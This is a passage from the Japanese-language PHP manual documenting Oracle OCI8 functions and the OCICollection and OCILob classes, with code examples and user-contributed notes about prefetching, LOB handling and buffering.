// REF CURSOR のプリフェッチが使えるのは、PHP を Oracle 11R2 以降のクライアントライブラリとリンクしたときです。
oci_set_prefetch($refcur, 200);
oci_execute($refcur);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

PHP OCI8 で REF CURSOR からフェッチした内容を別の PL/SQL プロシージャに渡すときには、REF CURSOR のプリフェッチ行数を 0 に設定して行が結果セットから "失われる" ことを防ぎます。 プリフェッチの値は OCI8 内部でのデータベースへのリクエスト時に余計に取得する行数です。 つまり、0 に設定すると一度に一行だけ取得するということになります。

例3 REF CURSOR を Oracle に戻すときのプリフェッチの設定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/orcl');

// REF CURSOR を取得します
$stid = oci_parse($conn, 'BEGIN myproc(:rc_out); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc_out', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// ふたつの行を表示しますが、それ以上の余計な行はプリフェッチしません。
// 余計な行は myproc_use_rc() には戻されません。
// プリフェッチに 0 を設定できるようになったのは PHP 5.3.2 および PECL OCI8 1.4 からです。
oci_set_prefetch($refcur, 0);
oci_execute($refcur);
$row = oci_fetch_array($refcur);
var_dump($row);
$row = oci_fetch_array($refcur);
var_dump($row);

// REF CURSOR を myproc_use_rc() に渡して、
// 結果セットに対してさらにデータ処理を行います
$stid = oci_parse($conn, 'begin myproc_use_rc(:rc_in); end;');
oci_bind_by_name($stid, ':rc_in', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

?>

参考

  • oci8.default_prefetch ini オプション

User Contributed Notes

bmichael at goldparrot dot com 04-Jan-2003 03:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com


ステートメントの種類を返す

  • ≪ oci_set_prefetch
  • oci_unregister_taf_callback ≫
  • PHP Manual
  • OCI8 関数
  • ステートメントの種類を返す

oci_statement_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_statement_type — ステートメントの種類を返す

説明

oci_statement_type ( resource $statement ) : string

OCI ステートメント statement の種類をあらわすキーワードを返します。

パラメータ

statement

oci_parse() が返す、有効な OCI8 ステートメント ID。

返り値

ステートメント statement の種類を次のいずれかの値で返します。

ステートメントの種類
返される文字列 | 注意
ALTER |
BEGIN |
CALL | PHP 5.2.1 (PECL OCI8 1.2.3) 以降で使用可能です。
CREATE |
DECLARE |
DELETE |
DROP |
INSERT |
SELECT |
UPDATE |
UNKNOWN |

エラー時には false を返します。

例

例1 oci_statement_type() の例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'DELETE FROM departments WHERE department_id = 130;');
if (oci_statement_type($stid) == "DELETE") {
    trigger_error('このテーブルを削除する権限がありません', E_USER_ERROR);
}
else {
    oci_execute($stid);  // 行を削除します
}

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


Unregister a user-defined callback function for Oracle Database TAF

  • ≪ oci_statement_type
  • OCICollection ≫
  • PHP Manual
  • OCI8 関数
  • Unregister a user-defined callback function for Oracle Database TAF

oci_unregister_taf_callback

(PHP 7.0 >= 7.0.23, PHP 8, PHP 7 >= 7.1.9, PHP 8, PECL OCI8 >= 2.1.7)

oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF

説明

oci_unregister_taf_callback ( resource $connection ) : bool

Unregister the user-defined callback function registered to connection by oci_register_taf_callback(). See OCI8 Transparent Application Failover (TAF) Support for information.

パラメータ

connection

An Oracle connection identifier.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • oci_register_taf_callback() - Register a user-defined callback function for Oracle Database TAF

User Contributed Notes

There are no user contributed notes for this page.


OCICollection クラス

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

はじめに

OCI8 コレクション機能です。

注意:

OCI-Collection クラスは、 PHP 8 と OCI8 3.0.0 で、 PHP の名前付けの規約に従い OCICollection に名前が変更されました。

クラス概要

OCICollection {
/* メソッド */
append ( mixed $value ) : bool
assign ( OCICollection $from ) : bool
assignElem ( int $index , mixed $value ) : bool
free ( ) : bool
getElem ( int $index ) : mixed
max ( ) : int|false
size ( ) : int|false
trim ( int $num ) : bool
}

目次

  • OCICollection::append — コレクションに要素を追加する
  • OCICollection::assign — コレクションに他の存在するコレクションから値を割り当てる
  • OCICollection::assignElem — コレクションの要素に値を割り当てる
  • OCICollection::free — コレクションオブジェクトに関連付けられたリソースを解放する
  • OCICollection::getElem — 要素の値を返す
  • OCICollection::max — コレクション内の要素の最大数を取得する
  • OCICollection::size — コレクションのサイズを返す
  • OCICollection::trim — コレクションの最後から要素を切り取る

User Contributed Notes

There are no user contributed notes for this page.


コレクションに要素を追加する

  • ≪ OCICollection
  • OCICollection::assign ≫
  • PHP Manual
  • OCICollection
  • コレクションに要素を追加する

OCICollection::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::append — コレクションに要素を追加する

説明

OCICollection::append ( mixed $value ) : bool

コレクションの最後に要素を追加します。

パラメータ

value

コレクションに追加する値を指定します。文字列か数値です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::assign

User Contributed Notes

There are no user contributed notes for this page.


コレクションに他の存在するコレクションから値を割り当てる

  • ≪ OCICollection::append
  • OCICollection::assignElem ≫
  • PHP Manual
  • OCICollection
  • コレクションに他の存在するコレクションから値を割り当てる

OCICollection::assign

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assign — コレクションに他の存在するコレクションから値を割り当てる

説明

OCICollection::assign ( OCICollection $from ) : bool

事前に生成された他のコレクションからコレクションの値を割り当てます。 両方のコレクションは、使用する前に oci_new_collection() を使って生成される必要があります。

パラメータ

from

OCI-Collection のインスタンスを指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::append

User Contributed Notes

There are no user contributed notes for this page.


コレクションの要素に値を割り当てる

  • ≪ OCICollection::assign
  • OCICollection::free ≫
  • PHP Manual
  • OCICollection
  • コレクションの要素に値を割り当てる

OCICollection::assignElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::assignElem — コレクションの要素に値を割り当てる

説明

OCICollection::assignElem ( int $index , mixed $value ) : bool

インデックス index の要素に値を割り当てます。

パラメータ

index

要素のインデックス。最初のインデックスは 0 です。

value

文字列あるいは数値です。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::getElem

User Contributed Notes

There are no user contributed notes for this page.


コレクションオブジェクトに関連付けられたリソースを解放する

  • ≪ OCICollection::assignElem
  • OCICollection::getElem ≫
  • PHP Manual
  • OCICollection
  • コレクションオブジェクトに関連付けられたリソースを解放する

OCICollection::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::free — コレクションオブジェクトに関連付けられたリソースを解放する

説明

OCICollection::free ( ) : bool

コレクションオブジェクトに関連付けられたリソースを解放します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • oci_new_collection

User Contributed Notes

There are no user contributed notes for this page.


要素の値を返す

  • ≪ OCICollection::free
  • OCICollection::max ≫
  • PHP Manual
  • OCICollection
  • 要素の値を返す

OCICollection::getElem

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::getElem — 要素の値を返す

説明

OCICollection::getElem ( int $index ) : mixed

インデックス index (0 から始まる) を持つ要素の値を返します。

パラメータ

index

要素のインデックス。最初のインデックスは 0 です。

返り値

もし要素が存在しない場合 false 、要素が null 文字列なら null 、要素が文字データ型なら文字列、 要素が数値フィールドなら数値を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::assignElem

User Contributed Notes

There are no user contributed notes for this page.


コレクション内の要素の最大数を取得する

  • ≪ OCICollection::getElem
  • OCICollection::size ≫
  • PHP Manual
  • OCICollection
  • コレクション内の要素の最大数を取得する

OCICollection::max

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::max — コレクション内の要素の最大数を取得する

説明

OCICollection::max ( ) : int|false

コレクション内の要素の最大数を返します。

返り値

コレクション内の要素の最大数、あるいはエラー時に false を返します。

返り値が 0 の場合、要素の数に制限はありません。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


コレクションのサイズを返す

  • ≪ OCICollection::max
  • OCICollection::trim ≫
  • PHP Manual
  • OCICollection
  • コレクションのサイズを返す

OCICollection::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::size — コレクションのサイズを返す

説明

OCICollection::size ( ) : int|false

コレクションのサイズを返します。

返り値

コレクション内の要素の数、もしくはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::max

User Contributed Notes

There are no user contributed notes for this page.


コレクションの最後から要素を切り取る

  • ≪ OCICollection::size
  • OCILob ≫
  • PHP Manual
  • OCICollection
  • コレクションの最後から要素を切り取る

OCICollection::trim

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::trim — コレクションの最後から要素を切り取る

説明

OCICollection::trim ( int $num ) : bool

コレクションの最後から num 個の要素を切り取ります。

パラメータ

num

切り取る要素の数。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Collection クラスは、 PHP の名前付けの規約に従って OCICollection に名前が変更されました。

参考

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


OCILob クラス

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

はじめに

ラージバイナリ (BLOB) および キャラクタオブジェクト (CLOB) に対する OCI8 ラージオブジェクト (LOB) 機能です。

注意:

OCI-Lob クラスは、 PHP 8 および PECL OCI8 3.0.0 以降、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

クラス概要

OCILob {
/* メソッド */
append ( OCILob $lob_from ) : bool
close ( ) : bool
eof ( ) : bool
erase ( int $offset = ? , int $length = ? ) : int|false
export ( string $filename , int $start = ? , int $length = ? ) : bool
flush ( int $flag = ? ) : bool
free ( ) : bool
getBuffering ( ) : bool
import ( string $filename ) : bool
load ( ) : string|false
read ( int $length ) : string|false
rewind ( ) : bool
save ( string $data , int $offset = ? ) : bool
seek ( int $offset , int $whence = OCI_SEEK_SET ) : bool
setBuffering ( bool $on_off ) : bool
size ( ) : int|false
tell ( ) : int
Lob::truncate ( int $length = 0 ) : bool
write ( string $data , int $length = ? ) : int|false
writeTemporary ( string $data , int $lob_type = OCI_TEMP_CLOB ) : bool
}

目次

  • OCILob::append — ラージオブジェクトのデータを他のラージオブジェクトに追加する
  • OCILob::close — LOB ディスクリプタを閉じる
  • OCILob::eof — ラージオブジェクトのディスクリプタが EOF かどうかを調べる
  • OCILob::erase — 内部 LOB データの特定の位置を消去する
  • OCILob::export — LOB の内容をファイルに出力する
  • OCILob::flush — LOB のバッファをサーバーにフラッシュする、あるいは書き込む
  • OCILob::free — LOB ディスクリプタに関連付けられたりソースを解放する
  • OCILob::getBuffering — ラージオブジェクトに対する現在のバッファリングの状態を返す
  • OCILob::import — ファイルデータを LOB にインポートする
  • OCILob::load — ラージオブジェクトの内容を返す
  • OCILob::read — ラージオブジェクトの一部を読み込む
  • OCILob::rewind — 内部ポインタをラージオブジェクトの先頭に移動する
  • OCILob::save — データをラージオブジェクトに保存する
  • OCILob::saveFile — のエイリアス OCILob::import
  • OCILob::seek — ラージオブジェクトの内部ポインタをセットする
  • OCILob::setBuffering — 現在のラージオブジェクト用のバッファリング状態を変更する
  • OCILob::size — ラージオブジェクトのサイズを返す
  • OCILob::tell — ラージオブジェクトの内部ポインタの現在位置を返す
  • OCILob::truncate — ラージオブジェクトを切りつめる
  • OCILob::write — データをラージオブジェクトに書き込む
  • OCILob::writeTemporary — 一時的なラージオブジェクトを書き込む
  • OCILob::writeToFile — のエイリアス OCILob::export

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトのデータを他のラージオブジェクトに追加する

  • ≪ OCILob
  • OCILob::close ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトのデータを他のラージオブジェクトに追加する

OCILob::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::append — ラージオブジェクトのデータを他のラージオブジェクトに追加する

説明

OCILob::append ( OCILob $lob_from ) : bool

ラージオブジェクトのデータを他のラージオブジェクトに追加します。

前もってバッファリングが有効になっている場合、 OCI-Lob->append() を使ったラージオブジェクトの書き込みは失敗するでしょう。 追加の前にバッファリングを無効にしなければなりません。 バッファリングを無効にする前に、 OCILob::flush によってバッファをフラッシュする必要があるかも知れません。

パラメータ

lob_from

コピーする LOB。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::flush
  • OCILob::setBuffering
  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


LOB ディスクリプタを閉じる

  • ≪ OCILob::append
  • OCILob::eof ≫
  • PHP Manual
  • OCILob
  • LOB ディスクリプタを閉じる

OCILob::close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::close — LOB ディスクリプタを閉じる

説明

OCILob::close ( ) : bool

OCI-Lob->close() は LOB あるいは FILE のディスクリプタを閉じます。この関数は OCILob::writeTemporary を併用した場合のみ使用されるべきです。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトのディスクリプタが EOF かどうかを調べる

  • ≪ OCILob::close
  • OCILob::erase ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトのディスクリプタが EOF かどうかを調べる

OCILob::eof

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::eof — ラージオブジェクトのディスクリプタが EOF かどうかを調べる

説明

OCILob::eof ( ) : bool

ラージオブジェクトの内部ポインタが LOB の最後にあるかどうかを調べます。

返り値

もし、ラージオブジェクトの内部ポインタが LOB の最後にあるとき、 true を返します。その他の場合は false を返します。

注意

注意:

OCILob::setBuffering が LOB で有効になっていない場合は、Oracle のエラーを返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::size

User Contributed Notes

rootmj_konf at seznam dot cz 05-Dec-2006 08:55
foreach (get_class_methods('OCI-Lob') as $method ) {
    echo "OCI-Lob::$method()\n";
}

http://www.oracle.com/technology/pub/articles/
oracle_php_cookbook/fuecks_lobs.html


内部 LOB データの特定の位置を消去する

  • ≪ OCILob::eof
  • OCILob::export ≫
  • PHP Manual
  • OCILob
  • 内部 LOB データの特定の位置を消去する

OCILob::erase

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::erase — 内部 LOB データの特定の位置を消去する

説明

OCILob::erase ( int $offset = ? , int $length = ? ) : int|false

指定された offset から始まる内部 LOB データの特定の位置を消去します。 パラメータなしでコールすると、すべての LOB データを消去します。

BLOB の場合、消去するということは存在する LOB の値が 0 バイトで上書きされる、ということを意味します。 CLOB の場合、存在する LOB の値はスペースで上書きされる、ということです。

パラメータ

offset

length

返り値

消去された実際の文字数あるいはバイト数、失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::truncate

User Contributed Notes

There are no user contributed notes for this page.


LOB の内容をファイルに出力する

  • ≪ OCILob::erase
  • OCILob::flush ≫
  • PHP Manual
  • OCILob
  • LOB の内容をファイルに出力する

OCILob::export

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::export — LOB の内容をファイルに出力する

説明

OCILob::export ( string $filename , int $start = ? , int $length = ? ) : bool

LOB の内容をファイルに出力します。

パラメータ

filename

ファイルへのパス。

start

出力を開始する位置。

length

出力するデータの長さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::import

User Contributed Notes

AlexiuS 15-Mar-2013 01:30
Please note, that contents of LOB is cleared after this operation. If you want to use LOB data after exporting it to file, you should read it from file with file_get_contents().

This will not work:
<?php
if($blob) {
    $filename = DOCUMENT_ROOT."/".$bildId.".jpg";
    if($blob->export($filename)) {
        while(!$blob->eof()){
            $dbResult .= $blob->read(2000);
        }
    } else {
        throw new Exception("Can not save the file ".$filename."!");
    }
}
?>

Use this instead:
<?php
if($blob) {
    $filename = DOCUMENT_ROOT."/".$bildId.".jpg";
    if($blob->export($filename)) {
        $dbResult = file_get_contents($filename);
    } else {
        throw new Exception("Can not save the file ".$filename."!");
    }
}
?>


LOB のバッファをサーバーにフラッシュする、あるいは書き込む

  • ≪ OCILob::export
  • OCILob::free ≫
  • PHP Manual
  • OCILob
  • LOB のバッファをサーバーにフラッシュする、あるいは書き込む

OCILob::flush

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::flush — LOB のバッファをサーバーにフラッシュする、あるいは書き込む

説明

OCILob::flush ( int $flag = ? ) : bool

OCILob::flush() は実際にサーバーにデータを書き込みます。

パラメータ

flag

デフォルトではリソースは解放されませんが、フラグ OCI_LOB_BUFFER_FREE を使用することで明示的に行うことができます。 あなたが何をしようとしているかを理解しておいてください - 次に LOB の同じ箇所に読み書きしようとする場合、 サーバーへのラウンドトリップを伴い、 新しいバッファリソースが初期化されるでしょう。 もはや LOB に対して何も行わない場合のみ、 OCI_LOB_BUFFER_FREE フラグを使用することが推奨されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

バッファリングが有効でない、あるいはエラーが発生した場合、 false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::getBuffering
  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


LOB ディスクリプタに関連付けられたりソースを解放する

  • ≪ OCILob::flush
  • OCILob::getBuffering ≫
  • PHP Manual
  • OCILob
  • LOB ディスクリプタに関連付けられたりソースを解放する

OCILob::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::free — LOB ディスクリプタに関連付けられたりソースを解放する

説明

OCILob::free ( ) : bool

事前に oci_new_descriptor() を使用して割り当てられた ディスクリプタに関連付けられたりソースを解放します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

User Contributed Notes

sixd at php dot net 23-Oct-2008 04:56
Use this to free the "temporary lobs" that get created when a query returns a LOB descriptor.  See ext/oci8/tests/bug43497.phpt for more information.


ラージオブジェクトに対する現在のバッファリングの状態を返す

  • ≪ OCILob::free
  • OCILob::import ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトに対する現在のバッファリングの状態を返す

OCILob::getBuffering

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::getBuffering — ラージオブジェクトに対する現在のバッファリングの状態を返す

説明

OCILob::getBuffering ( ) : bool

ラージオブジェクトに対するバッファリングが有効か無効かを調べます。

返り値

もしラージオブジェクトに対するバッファリングが無効な場合は false、 有効な場合は true を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


ファイルデータを LOB にインポートする

  • ≪ OCILob::getBuffering
  • OCILob::load ≫
  • PHP Manual
  • OCILob
  • ファイルデータを LOB にインポートする

OCILob::import

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::import — ファイルデータを LOB にインポートする

説明

OCILob::import ( string $filename ) : bool

filename からのデータをラージオブジェクトの現在の位置に書き込みます。

パラメータ

filename

ファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::export
  • OCILob::write

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトの内容を返す

  • ≪ OCILob::import
  • OCILob::read ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトの内容を返す

OCILob::load

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::load — ラージオブジェクトの内容を返す

説明

OCILob::load ( ) : string|false

ラージオブジェクトの内容を返します。 memory_limit に達した場合、 スクリプトの実行が終了されますので、 LOB がこの制限を超えないことを確認してください。 多くの場合、代わりに OCILob::read を使用することが推奨されます。

返り値

オブジェクトの内容、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::read

User Contributed Notes

FaLL3N at mail dot ru 25-Dec-2006 05:49
Ps. To prevent IE errors like 'File not found!' after downloading file from db I recommend to add next two lines into header:
header('Cache-Control: max-age=0');
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

With this, IE will open any file normally :)
FaLL3N at mail dot ru 25-Oct-2006 06:34
I'll give you example how to download a file from db without storing it on server's FS:
It works like this - point yor browser to index.php?name=file.ext
Just make sure that file "file.ext" exists in your db!

Code:

<?php

 $dbConnection=ocilogon('user','pass','data.world'); //login stuff
 $sql_SelectBlob='select document_body,filename from tdocuments where id=1'; //selecting a blob field named 'document_body' with id = 1
 $statement=OCIParse($dbConnection,$sql_SelectBlob);

 OCIExecute($statement) or die($sql_SelectBlob.'<hr>');

if(OCIFetch($statement)) //if file exists
 {
 $a=OCIResult($statement,"DOCUMENT_BODY");
 }
header('Content-type: application/octet-stream;');
header('Content-disposition: attachment;filename='.$_GET['name']);

print $a->load();
//browser promts to save or open the file
?>

Have fun!


ラージオブジェクトの一部を読み込む

  • ≪ OCILob::load
  • OCILob::rewind ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトの一部を読み込む

OCILob::read

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::read — ラージオブジェクトの一部を読み込む

説明

OCILob::read ( int $length ) : string|false

LOB の内部ポインタの現在位置から length バイト読み込みます。

length バイトが読み込まれた、 あるいはラージオブジェクトの終わりに達したとき、読み込みを停止します。 ラージオブジェクトの内部ポインタは、 読み込まれたバイト数分だけシフトされます。

パラメータ

length

読み込むバイト数。大きな値を指定すると、1 MB に切り捨てられます。

返り値

読み込んだ内容を表す文字列、失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::load
  • OCILob::write

User Contributed Notes

Marcin Matras 26-Mar-2013 12:49
To read LOB into variable you can use OCI-Lob::load

<?php
$foo = $MyBlob->load();
?>
alvaro at demogracia dot com 08-Oct-2008 12:32
To read the whole LOB into a variable:

<?php
$foo = $MyBlob->read($MyBlob->size());
?>


内部ポインタをラージオブジェクトの先頭に移動する

  • ≪ OCILob::read
  • OCILob::save ≫
  • PHP Manual
  • OCILob
  • 内部ポインタをラージオブジェクトの先頭に移動する

OCILob::rewind

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::rewind — 内部ポインタをラージオブジェクトの先頭に移動する

説明

OCILob::rewind ( ) : bool

内部ポインタをラージオブジェクトの先頭にセットします。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::seek
  • OCILob::tell

User Contributed Notes

There are no user contributed notes for this page.


データをラージオブジェクトに保存する

  • ≪ OCILob::rewind
  • OCILob::saveFile ≫
  • PHP Manual
  • OCILob
  • データをラージオブジェクトに保存する

OCILob::save

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::save — データをラージオブジェクトに保存する

説明

OCILob::save ( string $data , int $offset = ? ) : bool

data をラージオブジェクトに保存します。

パラメータ

data

保存するデータ。

offset

ラージオブジェクトの先頭からのオフセットを指定するために利用します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::write
  • OCILob::import

User Contributed Notes

Michael Krug 29-Jul-2013 06:17
When you get "OCI-Lob::save(): OCI_INVALID_HANDLE in ..." try
oci_execute($stid, OCI_NO_AUTO_COMMIT);
$clob->save($data);
oci_commit($conn);
01-Jun-2006 03:23
If you are using Save() on an update statement, PHP will throw a warning similar to "OCILobWrite: OCI_INVALID_HANDLE..." if your update statement did not catch any rows with its where clause.


のエイリアス OCILob::import

  • ≪ OCILob::save
  • OCILob::seek ≫
  • PHP Manual
  • OCILob
  • のエイリアス OCILob::import

OCILob::saveFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::saveFile — のエイリアス OCILob::import()

説明

この関数は次の関数のエイリアスです。 OCILob::import()

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトの内部ポインタをセットする

  • ≪ OCILob::saveFile
  • OCILob::setBuffering ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトの内部ポインタをセットする

OCILob::seek

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::seek — ラージオブジェクトの内部ポインタをセットする

説明

OCILob::seek ( int $offset , int $whence = OCI_SEEK_SET ) : bool

ラージオブジェクトの内部ポインタをセットします。

パラメータ

offset

内部ポインタを whence で示された位置から移動させるバイト数を表します。

whence

以下のいずれかです。

  • OCI_SEEK_SET - offset と等しい位置にセットします
  • OCI_SEEK_CUR - 現在の位置に offset バイト追加します
  • OCI_SEEK_END - ラージオブジェクトの終端に offset バイト追加します (ラージオブジェクトの終端より前の位置に移動するには負の値を指定します)

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::rewind
  • OCILob::tell
  • OCILob::eof

User Contributed Notes

christopher dot jones at oracle dot com 25-Feb-2008 04:38
The default value for $whence is OCI_SEEK_SET.


現在のラージオブジェクト用のバッファリング状態を変更する

  • ≪ OCILob::seek
  • OCILob::size ≫
  • PHP Manual
  • OCILob
  • 現在のラージオブジェクト用のバッファリング状態を変更する

OCILob::setBuffering

